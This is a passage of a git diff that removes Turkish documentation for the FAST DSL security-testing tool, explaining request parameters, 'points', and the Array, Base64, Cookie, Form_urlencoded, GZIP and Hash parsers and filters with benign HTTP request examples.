gönderilecek tek bir HTTP isteğini tanımlar. Küme şu parametreleri içerir: - -* `method`: isteğin kullanacağı HTTP yöntemi. - - Bu zorunlu bir parametredir: her parametre kümesinde bulunmalıdır. - - ??? info "İzin verilen parametre değerlerinin listesi" - - * `GET` - * `POST` - * `PUT` - * `HEAD` - * `OPTIONS` - * `PATCH` - * `COPY` - * `DELETE` - * `LOCK` - * `UNLOCK` - * `MOVE` - * `TRACE` - - ??? info "Örnek" - `method: 'POST'` - -* `url`: bir URL dizgesi. İstek bu URI'yi hedefleyecektir. - - Bu zorunlu bir parametredir: her parametre kümesinde bulunmalıdır. - - ??? info "Örnek" - `url: '/en/login.php'` - -* `headers`: `üstbilgi adı: üstbilgi değeri` biçiminde bir veya daha fazla HTTP üstbilgisi içeren bir dizi. - - Oluşturulan HTTP isteği herhangi bir üstbilgi kullanmıyorsa, bu parametre atlanabilir. - - FAST, ortaya çıkan HTTP isteğinin doğru olması için gerekli üstbilgileri (`headers` dizisinde eksik olsalar bile) otomatik olarak ekler; örneğin, `Host` ve `Content-Length`. - - ??? info "Örnek" - ``` - headers: - - 'Accept-Language': 'en-US,en;q=0.9' - - 'Content-Type': 'application/xml' - ``` - - !!! info "`Host` üstbilgisiyle çalışma" - Gerekirse, temel istekten çıkarılandan farklı bir `Host` üstbilgisini test isteğine ekleyebilirsiniz. - - Örneğin, Gönder (Send) bölümünde bir test isteğine `Host: demo.com` üstbilgisi eklemek mümkündür. - - İlgili uzantı çalışıyorsa ve FAST düğümü `Host: example.com` üstbilgisine sahip bir temel istek alırsa, `Host: demo.com` üstbilgili test isteği `example.com` ana makinesine gönderilir. Ortaya çıkan istek aşağıdakine benzer: - - ``` - curl -k -g -X POST -L -H "Host: demo.com" -H "Content-Type: application/json" "http://example.com/app" --data "{"field":"value"}" - ``` - -* `body`: isteğin gövdesini içeren bir dizge. Ortaya çıkan dizgede, varsa, özel karakterleri uygun şekilde kaçışladığınız sürece gerekli herhangi bir istek gövdesini belirtebilirsiniz. - - Bu zorunlu bir parametredir: her parametre kümesinde bulunmalıdır. - - ??? info "Örnek" - `body: 'field1=value1&field2=value2` - -Eğer `send` bölümü `N` HTTP isteğini tanımlayan `N` parametre kümesiyle doldurulmuşsa, tek bir gelen temel istek için, FAST düğümü, temel isteğin `Host` üstbilgisinde belirtilen ana makinede bulunan hedef uygulamaya `N` test isteği gönderecektir. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/basics.md b/docs/latest-tr/fast/dsl/points/basics.md deleted file mode 100644 index 0577ae7425..0000000000 --- a/docs/latest-tr/fast/dsl/points/basics.md +++ /dev/null @@ -1,18 +0,0 @@ -[link-fast]: ../intro.md -[link-parsers]: parsers.md - -# Temel Kavramlar - -[FAST uzantıları][link-fast], yeni test istekleri oluşturmak için kullanılan temel istek öğesi işleme mantığını açıklar. Noktaların başlıca amacı, uzantıda tanımlanan eylemlerden hangisinin temel isteğin hangi veri parçasına uygulanacağını belirtmektir. - -Bir nokta, uzantıda belirtilen eylemin uygulanacağı temel isteğin bölümünü işaret eden bir dizedir. Bu dize, gerekli veriyi elde etmek için temel isteğe uygulanması gereken ayrıştırıcı ve filtre adlarının bir dizisinden oluşur. - -* *Ayrıştırıcılar*, alınan dize girdisine dayanarak veri yapıları oluşturur. -* *Filtreler* -ayrıştırıcılar tarafından oluşturulan veri yapılarından belirli değerleri elde etmek için kullanılır. - -Filtrelerin işaret ettiği değerlere başka filtreler ve ayrıştırıcılar da uygulanabilir. İstek üzerine ayrıştırıcıları ve filtreleri ardışık olarak uygulayarak, sonraki işlem için gereken istek öğesi değerlerini çıkarabilirsiniz. - -Bir noktada kullanılabilecek ayrıştırıcı ve filtre çeşitliliği, hedef web uygulamasının istek biçimini kullanan uzantılar oluşturmayı sağlar. - -[ Aşağıdaki alt bölümler][link-parsers], FAST DSL uzantı noktalarında kullanılabilecek ayrıştırıcıları ve filtreleri açıklar. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/construction.md b/docs/latest-tr/fast/dsl/points/construction.md deleted file mode 100644 index 3c3c16a649..0000000000 --- a/docs/latest-tr/fast/dsl/points/construction.md +++ /dev/null @@ -1,172 +0,0 @@ -[link-http]: parsers/http.md -[link-uri]: parsers/http.md#uri-filter -[link-path]: parsers/http.md#path-filter -[link-actionname]: parsers/http.md#action_name-filter -[link-actionext]: parsers/http.md#action_ext-filter -[link-get]: parsers/http.md#get-filter -[link-header]: parsers/http.md#header-filter -[link-post]: parsers/http.md#post-filter -[link-formurlencoded]: parsers/form-urlencoded.md -[link-multipart]: parsers/multipart.md -[link-cookie]: parsers/cookie.md -[link-xml]: parsers/xml.md -[link-xmlcomment]: parsers/xml.md#xml_comment-filter -[link-xmldtd]: parsers/xml.md#xml_dtd-filter -[link-xmldtdentity]: parsers/xml.md#xml_dtd_entity-filter -[link-xmlpi]: parsers/xml.md#xml_pi-filter -[link-xmltag]: parsers/xml.md#xml_tag-filter -[link-xmltagarray]: parsers/xml.md#xml_tag_array-filter -[link-xmlattr]: parsers/xml.md#xml_attr-filter -[link-jsondoc]: parsers/json.md -[link-jsonobj]: parsers/json.md#json_obj-filter -[link-jsonarray]: parsers/json.md#json_array-filter -[link-array]: parsers/array.md -[link-hash]: parsers/hash.md -[link-gzip]: parsers/gzip.md -[link-base64]: parsers/base64.md - -# Bir Nokta Nasıl Oluşturulur -Noktada kullanıma uygun FAST DSL ayrıştırıcıları ve filtrelerinin listesini hatırlayalım. -* [HTTP ayrıştırıcısı][link-http]: - * [URI filtresi][link-uri]; - * [Yol (Path) filtresi][link-path]; - * [Action_name filtresi][link-actionname]; - * [Action_ext filtresi][link-actionext]; - * [GET filtresi][link-get]; - * [Header filtresi][link-header]; - * [Post filtresi][link-post]; -* [Form_urlencoded ayrıştırıcısı][link-formurlencoded]; -* [Multipart ayrıştırıcısı][link-multipart]; -* [Cookie ayrıştırıcısı][link-cookie]; -* [XML ayrıştırıcısı][link-xml]: - * [Xml_comment filtresi][link-xmlcomment]; - * [Xml_dtd filtresi][link-xmldtd]; - * [Xml_dtd_entity filtresi][link-xmldtdentity]; - * [Xml_pi filtresi][link-xmlpi]; - * [Xml_tag filtresi][link-xmltag]; - * [Xml_tag_array filtresi][link-xmltagarray]; - * [Xml_attr filtresi][link-xmlattr]; -* [Json_doc ayrıştırıcısı][link-jsondoc]: - * [Json_obj filtresi][link-jsonobj]; - * [Json_array filtresi][link-jsonarray]; -* [GZIP ayrıştırıcısı][link-gzip]; -* [Base64 ayrıştırıcısı][link-base64]; -* [Array filtresi][link-array]; -* [Hash filtresi][link-hash]. - -Hangi ayrıştırıcı ve filtrelerin noktaya dahil edilmesi gerektiğini daha kolay anlamak için noktaların sağdan sola oluşturulması önerilir. Bir nokta oluştururken istek parçalarının küçüğünden büyüğüne doğru ilerleyin. - -!!! info "Nokta parçaları ayırıcı" - Noktanın parçaları `_` sembolü kullanılarak ayrılmalıdır. - -## Örnek 1 - -Aşağıdaki istekte `uid` parametresinin çözülmüş değerine atıfta bulunan bir nokta oluşturmanız gerektiğini varsayalım: - -``` -GET http://example.com/main/login/?uid=MDEyMzQ= -``` - -burada `MDEyMzQ=` Base64 ile kodlanmış `01234` dizgesidir. - -1. Nokta, istek öğesinin değeri­ne atıfta bulunmalıdır; bu nedenle noktaya `value` hizmet sözcüğünü dahil etmemiz gerekir. - - Noktanın mevcut durumu: `value`. - -2. Nokta çözümlenmiş değere atıfta bulunmalıdır; ancak istenen değer istek içinde *Base64* ile kodlanmıştır. Değeri çözmek için noktanın soluna `BASE64` ayrıştırıcısının adı eklenmelidir. - - Noktanın mevcut durumu: `BASE64_value`. - -3. Nokta, *`uid`* parametresinin değerine atıfta bulunmalıdır. İstenen parametre değerine atıfta bulunmak için noktanın soluna `uid` parametresinin adını ekleyin. - - Noktanın mevcut durumu: `uid_BASE64_value`. - -4. Nokta, temel isteğin *sorgu dizesinde* geçirilen parametrenin değerine atıfta bulunmalıdır. Sorgu dizesi parametre değerine atıfta bulunmak için noktanın soluna `GET` filtresinin adını ekleyin. - - Noktanın mevcut durumu: `GET_uid_BASE64_value`. - - - -Örneğin koşullarını karşılamak için, dördüncü adımda elde edilen nokta uzantıya aşağıdaki yollardan biriyle eklenebilir: -* herhangi bir hizmet sembolü ile çevrelenmeden. -* tek tırnak işaretleriyle çevrelenmiş (`'GET_uid_BASE64_value'`). -* çift tırnak işaretleriyle çevrelenmiş (`"GET_uid_BASE64_value"`). - - - -## Örnek 2 - -Aşağıdaki istekte `passwd` parametresinin `01234` değerine atıfta bulunan bir nokta oluşturmanız gerektiğini varsayalım: - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -ve aşağıdaki gövde ile: - -``` -username=admin&passwd=01234. -``` - -1. Nokta, istek öğesinin *değeri*ne atıfta bulunmalıdır; bu nedenle noktaya `value` hizmet sözcüğünü dahil etmemiz gerekir. - - Noktanın mevcut durumu: `value`. - -2. Nokta, *`passwd`* parametresinin değerine atıfta bulunmalıdır. İstenen parametre değerine atıfta bulunmak için noktanın soluna `passwd` parametresinin adını ekleyin. - - Noktanın mevcut durumu: `passwd_value`. - -3. Nokta, *form-urlencoded formatında* iletilen parametrenin değerine atıfta bulunmalıdır. Bu, temel istekteki Content-Type üstbilgisinin değerinden anlaşılabilir. Form-urlencoded değerinde iletilen parametrenin değerine atıfta bulunmak için, noktanın soluna büyük harflerle Form_urlencoded ayrıştırıcısının adını ekleyin. - - Noktanın mevcut durumu: `FORM_URLENCODED_passwd_value`. - -4. Nokta, *istek gövdesinde* iletilen parametrenin değerine atıfta bulunmalıdır. İstek gövdesi parametresinin değerine atıfta bulunmak için noktanın soluna `POST` ayrıştırıcısının adını ekleyin. - - Noktanın mevcut durumu: `POST_FORM_URLENCODED_passwd_value`. - - - -Örneğin koşullarını karşılamak için, dördüncü adımda elde edilen nokta uzantıya aşağıdaki yollardan biriyle eklenebilir: -* herhangi bir hizmet sembolü ile çevrelenmeden. -* tek tırnak işaretleriyle çevrelenmiş (`'POST_FORM_URLENCODED_passwd_value'`). -* çift tırnak işaretleriyle çevrelenmiş (`"POST_FORM_URLENCODED_passwd_value"`). - - - -## Örnek 3 - -Aşağıdaki istekte `secret-word` çerezinin `abcde` değerine atıfta bulunan bir nokta oluşturmanız gerektiğini varsayalım: - -``` -GET /main/index.php HTTP/1.1 -Host: example.com -Cookie: username=John. secret-word=abcde. -``` - -1. Nokta, istek öğesinin *değeri*ne atıfta bulunmalıdır; bu nedenle noktaya `value` hizmet sözcüğünü dahil etmemiz gerekir. - - Noktanın mevcut durumu: `value`. - -2. Nokta, *`secret-word`* çerezinin değerine atıfta bulunmalıdır. İstenen çerez değerine atıfta bulunmak için noktanın soluna çerezin adı olan `secret-word` ekleyin. - - Noktanın mevcut durumu: `secret-word_value`. - -3. Nokta, *çerez* değerine atıfta bulunmalıdır. Çerez değerine atıfta bulunmak için noktanın soluna `COOKIE` ayrıştırıcısının adını ekleyin. - - Noktanın mevcut durumu: `COOKIE_secret-word_value`. - -4. Nokta, *Cookie üstbilgisinde* iletilen değere atıfta bulunmalıdır. Cookie adlı üstbilgiye atıfta bulunmak için noktanın soluna `Cookie` üstbilgisinin adını ekleyin. - - Noktanın mevcut durumu: `Cookie_COOKIE_secret-word_value`. - -5. Nokta, *üstbilgide* iletilen değere atıfta bulunmalıdır. Üstbilgi değerine atıfta bulunmak için noktanın soluna `HEADER` filtresinin adını ekleyin. - - Noktanın mevcut durumu: `HEADER_Cookie_COOKIE_secret-word_value`. - - - -Örneğin koşullarını karşılamak için, dördüncü adımda elde edilen nokta uzantıya aşağıdaki yollardan biriyle eklenebilir: -* herhangi bir hizmet sembolü ile çevrelenmeden. -* tek tırnak işaretleriyle çevrelenmiş (`'HEADER_Cookie_COOKIE_secret-word_value'`). -* çift tırnak işaretleriyle çevrelenmiş (`"HEADER_Cookie_COOKIE_secret-word_value"`). \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/intro.md b/docs/latest-tr/fast/dsl/points/intro.md deleted file mode 100644 index 219e3cf772..0000000000 --- a/docs/latest-tr/fast/dsl/points/intro.md +++ /dev/null @@ -1,12 +0,0 @@ -[link-basics]: basics.md -[link-parsers]: parsers.md -[link-principles]: principles.md -[link-construction]: construction.md - -# FAST Uzantıları için Noktalar Oluşturma - -Bu belge, FAST DSL (alan-özgü dil) uzantıları için noktalar oluştururken göz önünde bulundurmanız gereken ilkeleri açıklar. Bölüm aşağıdaki alt bölümlerden oluşur: -* [Temel Kavramlar][link-basics] alt bölümü “nokta” teriminin tanımını verir ve FAST uzantısı oluşturmadaki noktaların rolünü açıklar. -* [Ayrıştırıcılar ve Filtreler][link-parsers] alt bölümü, daha fazla işleme için istekten çıkarabileceğiniz veriler hakkında ayrıntılı bilgi sağlar. -* [Nokta Oluşturma İlkeleri][link-principles] alt bölümü, FAST DSL uzantıları için noktalar oluştururken uymanız gereken kuralları açıklar. -* [Bir Nokta Nasıl Oluşturulur][link-construction] alt bölümü, önceki alt bölümlerde edinilen bilgileri kullanarak nokta oluşturma sürecine ilişkin adım adım örnekler sunar. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers.md b/docs/latest-tr/fast/dsl/points/parsers.md deleted file mode 100644 index 686e61e6f8..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers.md +++ /dev/null @@ -1,58 +0,0 @@ -[link-http]: parsers/http.md -[link-uri]: parsers/http.md#uri-filter -[link-path]: parsers/http.md#path-filter -[link-actionname]: parsers/http.md#action_name-filter -[link-actionext]: parsers/http.md#action_ext-filter -[link-get]: parsers/http.md#get-filter -[link-header]: parsers/http.md#header-filter -[link-post]: parsers/http.md#post-filter -[link-formurlencoded]: parsers/form-urlencoded.md -[link-multipart]: parsers/multipart.md -[link-cookie]: parsers/cookie.md -[link-xml]: parsers/xml.md -[link-xmlcomment]: parsers/xml.md#xml_comment-filter -[link-xmldtd]: parsers/xml.md#xml_dtd-filter -[link-xmldtdentity]: parsers/xml.md#xml_dtd_entity-filter -[link-xmlpi]: parsers/xml.md#xml_pi-filter -[link-xmltag]: parsers/xml.md#xml_tag-filter -[link-xmltagarray]: parsers/xml.md#xml_tag_array-filter -[link-xmlattr]: parsers/xml.md#xml_attr-filter -[link-jsondoc]: parsers/json.md -[link-jsonobj]: parsers/json.md#json_obj-filter -[link-jsonarray]: parsers/json.md#json_array-filter -[link-array]: parsers/array.md -[link-hash]: parsers/hash.md -[link-gzip]: parsers/gzip.md -[link-base64]: parsers/base64.md - -# Ayrıştırıcılar ve Filtreler - -Bu bölüm, FAST DSL genişletme noktalarında kullanılabilecek ayrıştırıcıları ve filtreleri açıklar. - -Aşağıda ayrıştırıcılar ve sağladıkları filtrelerin listesi yer almaktadır: -* [HTTP ayrıştırıcısı][link-http]: - * [URI filtresi][link-uri]; - * [Path filtresi][link-path]; - * [Action_name filtresi][link-actionname]; - * [Action_ext filtresi][link-actionext]; - * [Get filtresi][link-get]; - * [Header filtresi][link-header]; - * [Post filtresi][link-post]; -* [Form_urlencoded ayrıştırıcısı][link-formurlencoded]; -* [Multipart ayrıştırıcısı][link-multipart]; -* [Cookie ayrıştırıcısı][link-cookie]; -* [XML ayrıştırıcısı][link-xml]: - * [Xml_comment filtresi][link-xmlcomment]; - * [Xml_dtd filtresi][link-xmldtd]; - * [Xml_dtd_entity filtresi][link-xmldtdentity]; - * [Xml_pi filtresi][link-xmlpi]; - * [Xml_tag filtresi][link-xmltag]; - * [Xml_tag_array filtresi][link-xmltagarray]; - * [Xml_attr filtresi][link-xmlattr]; -* [Json_doc ayrıştırıcısı][link-jsondoc]: - * [Json_obj filtresi][link-jsonobj]; - * [Json_array filtresi][link-jsonarray]; -* [GZIP ayrıştırıcısı][link-gzip]; -* [Base64 ayrıştırıcısı][link-base64]; -* [Array filtresi][link-array]; -* [Hash filtresi][link-hash]. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/array.md b/docs/latest-tr/fast/dsl/points/parsers/array.md deleted file mode 100644 index 5f1d491765..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/array.md +++ /dev/null @@ -1,180 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -[anchor1]: #the-example-of-using-the-get-filter-with-the-array-filter -[anchor2]: #the-example-of-using-the-header-filter-with-the-array-filter -[anchor3]: #the-example-of-using-the-form_urlencoded-parser-and-the-array-filter -[anchor4]: #the-example-of-using-the-multipart-parser-and-the-array-filter -[anchor5]: #the-example-of-using-the-xml_tag-filter-and-the-array-filter -[anchor6]: #the-example-of-using-the-json_obj-filter-and-the-array-filter - - -# Array Filtresi - -**Array** filtresi, diziler içerebilecek temel istek öğelerinin herhangi birindeki değerler dizisine atıfta bulunur. - -Array filtresi, bir noktada aşağıdaki filtreler ve ayrıştırıcılarla birlikte kullanılabilir: -* [Get][anchor1]; -* [Header][anchor2]; -* [Form_urlencoded][anchor3]; -* [Multipart][anchor4]; -* [Xml_tag][anchor5]; -* [Json_obj][anchor6]. - -Bu dizinin öğelerine indeksler kullanılarak başvurulmalıdır. Dizi indeksleme `0` ile başlar. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki indeks bir [Ruby programlama dilinin düzenli ifadesi][link-ruby] olabilir. - -## Array Filtresi ile Get Filtresinin Kullanım Örneği - -Şu - -``` -GET http://example.com/login?id[]="01234"&id[]="56789" HTTP/1.1 -``` - -isteğinde, `id` sorgu dizesi parametresine uygulanan Array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `GET_id_ARRAY_0_value`, Array filtresinin işaret ettiği `id` sorgu dizesi parametresi değerleri dizisindeki `0` indekse karşılık gelen `01234` değerine başvurur. -* `GET_id_ARRAY_1_value`, Array filtresinin işaret ettiği `id` sorgu dizesi parametresi değerleri dizisindeki `1` indekse karşılık gelen `56789` değerine başvurur. - -## Array Filtresi ile Header Filtresinin Kullanım Örneği - -Şu - -``` -GET http://example.com/login/index.php HTTP/1.1 -X-Identifier: 01234 -X-Identifier: 56789 -``` - -isteğinde, `X-Identifier` üstbilgisine uygulanan Array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `HEADER_X-Identifier_ARRAY_0_value`, Array filtresinin işaret ettiği `X-Identifier` üstbilgisi değerleri dizisindeki `0` indekse karşılık gelen `01234` değerine başvurur. -* `HEADER_X-Identifier_ARRAY_1_value`, Array filtresinin işaret ettiği `X-Identifier` üstbilgisi değerleri dizisindeki `1` indekse karşılık gelen `56789` değerine başvurur. - -## Array Filtresi ile Form_urlencoded Ayrıştırıcısının Kullanım Örneği - -Şu - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -isteğinde, şu - -``` -id[]=01234&id[]=56789 -``` - -gövdesi ile, form-urlencoded biçimindeki istek gövdesindeki `id` parametresine uygulanan Array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `POST_FORM_URLENCODED_id_ARRAY_0_value`, Array filtresinin işaret ettiği `id` parametresi değerleri dizisindeki `0` indekse karşılık gelen `01234` değerine başvurur. -* `POST_FORM_URLENCODED_id_ARRAY_1_value`, Array filtresinin işaret ettiği `id` parametresi değerleri dizisindeki `1` indekse karşılık gelen `56789` değerine başvurur. - -## Array Filtresi ile Multipart Ayrıştırıcısının Kullanım Örneği - -Şu - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="id[]" - -01234 ---boundary -Content-Disposition: form-data; name="id[]" - -56789 -``` - -isteğinde, multipart biçimindeki istek gövdesindeki `id` parametresine uygulanan Array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|----------| -| 0 | 01234 | -| 1 | 56789 | - -* `POST_MULTIPART_id_ARRAY_0_value`, Array filtresinin işaret ettiği `id` parametresi değerleri dizisindeki `0` indekse karşılık gelen `01234` değerine başvurur. -* `POST_MULTIPART_id_ARRAY_1_value`, Array filtresinin işaret ettiği `id` parametresi değerleri dizisindeki `1` indekse karşılık gelen `56789` değerine başvurur. - -## Array Filtresi ile Xml_tag Filtresinin Kullanım Örneği - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -isteğinde, şu - -``` - -]> - - - -Sample text. - - - &eee; - -``` - -gövdesi ile, XML biçimindeki istek gövdesindeki `text` etiketine uygulanan Array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|--------------| -| 0 | Sample text. | -| 1 | aaaa | - -* `POST_XML_XML_TAG_text_ARRAY_0_value` noktası, Array filtresinin işaret ettiği `text` etiketinin değerleri dizisindeki `0` indekse karşılık gelen `Sample text.` değerine başvurur. -* `POST_XML_XML_TAG_text_ARRAY_1_value` noktası, Array filtresinin işaret ettiği `text` etiketinin değerleri dizisindeki `1` indekse karşılık gelen `aaaa` değerine başvurur. - -## Array Filtresi ile Json_obj Filtresinin Kullanım Örneği - -Şu - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -isteğinde, şu - -``` -{ - "username": "user", - "rights":["read","write"] -} -``` - -gövdesi ile, Json_doc ayrıştırıcısı ve Json_obj filtresi ile birlikte istek gövdesindeki `rights` JSON nesnesine uygulanan Array filtresi aşağıdaki diziye başvurur: - -| Dizin | Değer | -|--------|----------| -| 0 | read | -| 1 | write | - -* `POST_JSON_DOC_JSON_OBJ_rights_ARRAY_0_value` noktası, Array filtresinin işaret ettiği `rights` JSON nesnesinin değerleri dizisindeki `0` indekse karşılık gelen `read` değerine -başvurur. -* `POST_JSON_DOC_JSON_OBJ_rights_ARRAY_1_value` noktası, Array filtresinin işaret ettiği `rights` JSON nesnesinin değerleri dizisindeki `1` indekse karşılık gelen `write` değerine başvurur. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/base64.md b/docs/latest-tr/fast/dsl/points/parsers/base64.md deleted file mode 100644 index ee166416df..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/base64.md +++ /dev/null @@ -1,20 +0,0 @@ -# Base64 Ayrıştırıcı - -**Base64** ayrıştırıcısı, istek öğesi değerini base64 kodlamasıyla kodlar ve çözümler. Bu ayrıştırıcı herhangi bir dizeye uygulanabilir. - -**Örnek:** - -Şu - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -isteğinin aşağıdaki - -``` -username=admin&passwd=MDEyMzQ= -``` - -gövdesiyle, `POST_FORM_URLENCODED_passwd_BASE64_value` noktası, form-urlencoded biçimindeki istek gövdesindeki `passwd` parametresiyle iletilen ve base64 kodlamasından çözümlenen `01234` değerini ifade eder. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/cookie.md b/docs/latest-tr/fast/dsl/points/parsers/cookie.md deleted file mode 100644 index 1a1b242308..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/cookie.md +++ /dev/null @@ -1,46 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -# Cookie Parser - -Cookie parser, temel istekteki Cookie üstbilgisinin içeriklerine dayanarak bir hash tablosu oluşturur. Bu hash tablosunun öğelerine çerezlerin adlarını kullanarak başvurulması gerekir. - -!!! info "Point'lerde düzenli ifadeler" - Point içindeki çerez adı, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -!!! warning "Point içinde Cookie parser kullanımı" - Cookie parser yalnızca point içinde, temel isteğin Cookie üstbilgisine başvuran Header filter ile birlikte kullanılabilir. - -**Örnek:** - -Şu - -``` -GET /login/index.php HTTP/1.1 -Host: example.com -Cookie: id=01234; username=admin -``` - -istek için, HTTP parser ve Cookie parser ilgili üstbilgi verileriyle hash tabloları oluşturur. - -Header filter aşağıdaki hash tablosuna başvurur: - -| Üstbilgi adı | Üstbilgi değeri | -|--------------|---------------------------| -| Host | example.com | -| Cookie | id=01234; username=admin | - -Bu hash tablosunda, üstbilgi adları anahtarlardır ve karşılık gelen üstbilgilerin değerleri hash tablosunun değerleridir. - -Cookie ile bir dizge değeri olarak çalışmak için `HEADER_Cookie_value` point'ini kullanın. Mevcut örnekte bu point, `id=01234; username=admin` dizgesine başvurur. - -Cookie parser aşağıdaki hash tablosunu oluşturur: - -| Çerez adı | Çerez değeri | -|-----------|--------------| -| id | 01234 | -| username | admin | - -Cookie parser, Header filter tarafından adreslenen hash tablosundan alınan Cookie üstbilgisi verilerine dayanarak bir hash tablosu oluşturur. Bu hash tablosunda, çerez adları anahtarlardır ve karşılık gelen çerezlerin değerleri hash tablosunun değerleridir. - -* `HEADER_Cookie_COOKIE_id_value` point, Cookie parser tarafından oluşturulan hash tablosundaki `id` anahtarına karşılık gelen `01234` değerine başvurur. -* `HEADER_Cookie_COOKIE_username_value` point, Cookie parser tarafından oluşturulan hash tablosundaki `username` anahtarına karşılık gelen `admin` değerine başvurur. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/form-urlencoded.md b/docs/latest-tr/fast/dsl/points/parsers/form-urlencoded.md deleted file mode 100644 index 1ccf61a8c4..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/form-urlencoded.md +++ /dev/null @@ -1,40 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-formurlencoded-array]: array.md#the-example-of-using-the-form_urlencoded-parser-and-the-array-filter -[link-formurlencoded-hash]: hash.md#the-example-of-using-the-form_urlencoded-parser-with-the-hash-filter - -# Form_urlencoded Ayrıştırıcı - -**Form_urlencoded** ayrıştırıcısı, form-urlencoded biçimindeki istek gövdesi ile çalışmak için kullanılır. Bu ayrıştırıcı, istek gövdesi parametrelerinin adlarının anahtar ve karşılık gelen parametre değerlerinin değer olduğu bir hash tablosu oluşturur. Bu hash tablosunun öğelerine, parametre adları kullanılarak başvurulmalıdır. - -!!! info "Noktalarda düzenli ifadeler" - Noktadaki parametre adı, [Ruby programlama dili][link-ruby] düzenli ifadesi olabilir. - -!!! warning "Noktada Form_urlencoded ayrıştırıcısının kullanımı" - Form_urlencoded ayrıştırıcısı yalnızca temel istek gövdesine başvuran Post filter ile birlikte noktada kullanılabilir. - -Form-urlencoded biçimindeki istek gövdesi ayrıca diziler ve hash tabloları gibi şu karmaşık veri yapılarını da içerebilir. Bu yapılardaki öğelere erişmek için sırasıyla [Dizi][link-formurlencoded-array] ve [Hash][link-formurlencoded-hash] filtrelerini kullanın. - -**Örnek:** - -Şu - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: application/x-www-form-urlencoded -``` - -isteğinde, şu - -``` -id=01234&username=John -``` - -gövdesiyle, istek gövdesine uygulanan Form_urlencoded ayrıştırıcısı aşağıdaki hash tablosunu oluşturur: - -| Anahtar | Değer | -|----------|----------| -| id | 01234 | -| username | John | - -* `POST_FORM_URLENCODED_id_value` noktası, Form_urlencoded ayrıştırıcısı tarafından oluşturulan hash tablosundaki `id` anahtarına karşılık gelen `01234` değerine başvurur. -* `POST_FORM_URLENCODED_username_value` noktası, Form_urlencoded ayrıştırıcısı tarafından oluşturulan hash tablosundaki `username` anahtarına karşılık gelen `John` değerine başvurur. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/gzip.md b/docs/latest-tr/fast/dsl/points/parsers/gzip.md deleted file mode 100644 index c394cd2313..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/gzip.md +++ /dev/null @@ -1,23 +0,0 @@ -# GZIP Ayrıştırıcısı - -**GZIP** ayrıştırıcısı, istek öğesi değerini GZIP kodlamasıyla kodlar ve kodunu çözer. Bu ayrıştırıcı herhangi bir dizeye uygulanabilir. - -**Örnek:** - -Şu - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="username" - -admin ---boundary -Content-Disposition: form-data; name="passwd" - -1f8b 0808 e25b 765c 0003 7465 7374 2e74 7874 0033 3034 3236 0100 2470 a4dd 0500 0000 -``` - -isteği için, `POST_MULTIPART_passwd_GZIP_value` noktası, çok parçalı (multipart) biçimde istek gövdesindeki `passwd` parametresiyle iletilen ve GZIP’den kodu çözümlenen `01234` değerine karşılık gelir. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/points/parsers/hash.md b/docs/latest-tr/fast/dsl/points/parsers/hash.md deleted file mode 100644 index c9a0e8c741..0000000000 --- a/docs/latest-tr/fast/dsl/points/parsers/hash.md +++ /dev/null @@ -1,193 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html - -[anchor1]: #the-example-of-using-the-get-filter-and-the-hash-filter -[anchor2]: #the-example-of-using-the-form_urlencoded-parser-with-the-hash-filter -[anchor3]: #the-example-of-using-the-multipart-filter-and-the-hash-filter -[anchor4]: #the-example-of-using-the-json_doc-parser-and-the-hash-filter -[anchor5]: #the-example-of-using-the-json_obj-filter-and-the-hash-filter -[anchor6]: #the-example-of-using-the-json_array-filter-and-the-hash-filter - - -# Hash Filtresi - -Hash filtresi, hash tabloları içerebilen temel istek öğelerindeki değerlerin hash tablosuna başvurur. - -Hash filtresi, noktada aşağıdaki filtreler ve ayrıştırıcılarla birlikte kullanılabilir: -* [Get][anchor1]; -* [Form_urlencoded][anchor2]; -* [Multipart][anchor3]; -* [Json_doc][anchor4]; -* [Json_obj][anchor5]; -* [Json_array][anchor6]. - -Hash filtresi tarafından adreslenen hash tablosunun 